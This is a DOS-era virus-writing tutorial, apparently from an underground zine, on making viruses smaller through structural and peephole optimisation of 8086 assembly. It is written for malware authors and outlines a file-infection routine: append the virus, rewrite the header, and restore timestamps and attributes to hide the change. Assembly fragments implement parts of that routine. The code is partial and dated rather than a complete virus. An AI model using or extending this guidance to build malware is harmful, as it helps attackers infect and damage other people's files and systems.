When writing a virus, size is a primary concern. A bloated virus carrying unnecessary baggage will run slower than its optimised counterpart and eat up more disk space.

Never optimise any code before it works fully, since altering code after optimisation often messes up the optimisation and, in turn, messes up the code. After it works, the focus can shift to optimisation. Always keep a backup of the last working copy of the virus, as optimisation often leads to improperly working code. With this in mind, a few techniques of optimisation will be introduced.

There are two types of optimisation: structural and local. Structural optimisation occurs when shifting the position of code or rethinking and reordering the functions of the virus shorten its length. A simple example follows:

check_install:
mov ax,1234h
int 21h
cmp bx,1234h
ret
install_virus:
call check_install
jz exit_install

If this is the only instance that the procedure check_install is called, the following optimisation may be made:

install_virus:
mov ax,1234h
int 21h
cmp bx,1234h
jz exit_install

The first fragment wastes a total of 4 bytes - 3 for the call and 1 for the ret. Four bytes may not seem to be worth the effort, but after many such optimisations, the code size may be brought down significantly. The reverse of this optimisation, using procedures in lieu of repetitive code fragments, may work in other instances. Properly designed and well-thought out code will allow for such an optimisation. Another structural optimisation:

• get attributes
• open file read/only
• read file
• close file
• exit if already infected
• clear attributes
• open file read/write
• get file time/date
• write new header
• move file pointer to end of file
• concatenate virus
• restore file time/date
• close file
• restore attributes
• exit

Change the above to:

• get attributes
• clear attributes
• open file read/write
• read file
• if infected, exit to close file
• get file time/date
• move file pointer to end of file
• concatenate virus
• move file pointer to beginning
• write new header
• restore file time/date
• close file
• restore attributes
• exit

By using the second, an open file and a close file are eliminated while adding only one move file pointer request. This can save a healthy number of bytes.

Local, or peephole, optimisation is often easier to do than structural optimisation. It consists of changing individual statements or short groups of statements to save bytes.

The easiest type of peephole optimisation is a simple replacement of one line with a functional equivalent that takes fewer bytes. The 8086 instruction set abounds with such possibilities. A few examples follow.

Perhaps the most widespread optimisation, replace:

	mov ax,0	; this instruction is 3 bytes long
mov bp,0	; mov reg, 0 with any reg = nonsegment register takes 3 bytes

with

	xor ax,ax	; this takes but 2 bytes
xor bp,bp	; mov reg, 0 always takes 2 bytes

or even

	sub ax,ax	; also takes 2 bytes
sub bp,bp

One of the easiest optimisations, yet often overlooked by novices, is the merging of lines. As an example, replace:

	mov bh,5h	; two bytes
mov bl,32h	; two bytes
; total: four bytes

with

	mov bx,532h	; three bytes, save one byte

A very useful optimisation moving the file handle from ax to bx follows. Replace:

	mov bx,ax	; 2 bytes

with

	xchg ax,bx	; 1 byte

Another easy optimisation which can most easily applied to file pointer moving operations:

Replace

	mov ax,4202h	; save one byte from "mov ah,42h / mov al,2"
xor dx,dx	; saves one byte from "mov dx,0"
xor cx,cx	; same here
int 21h

with

	mov ax,4202h
cwd		; equivalent to "xor dx,dx" when ax < 8000h
xor cx,cx
int 21h

Sometimes it may be desirable to use si as the delta offset variable, as an instruction involving [si] takes one less byte to encode than its equivalent using [bp]. This does NOT work with combinations such as [si+1]. Examples:

	mov ax,[bp]			; 3 bytes
mov word ptr cs:[bp],1234h	; 6 bytes
add ax,[bp+1]			; 3 bytes - no byte savings will occur
mov ax,[si]			; 2 bytes
mov word ptr cs:[si],1234h	; 5 bytes
add ax,[si+1]			; 3 bytes - this is not smaller

A somewhat strange and rather specialised optimisation:

	inc al		; 2 bytes
inc bl		; 2 bytes

versus

	inc ax		; 1 byte
inc bx		; 1 byte

A structural optimisation can also involve getting rid of redundant code. As a virus related example, consider the infection routine. In few instances is an error-trapping routine after each interrupt call necessary. A single "jc error" is needed, say after the first disk-writing interrupt, and if that succeeds, the rest should also work fine. Another possibility is to use a critical error handler instead of error checking.

How about this example of optimised code:

	mov ax, 4300h	; get file attributes
mov dx, offset filename
int 21h
push dx		; save filename
push cx		; and attributes on stack
inc ax		; ax = 4301h = set file attributes
push ax		; save 4301h on stack
xor cx,cx	; clear attributes
int 21h

...rest of infection...

	pop ax		; ax = 4301h
pop cx		; cx = original attributes of file
pop dx		; dx-> original filename
int 21h

Optimisation is almost always code-specific. Through a combination of restructuring and line replacement, a good programmer can drastically reduce the size of a virus. By gaining a good feel of the 80x86 instruction set, many more optimisations may be found. Above all, good program design will aid in creating small viruses.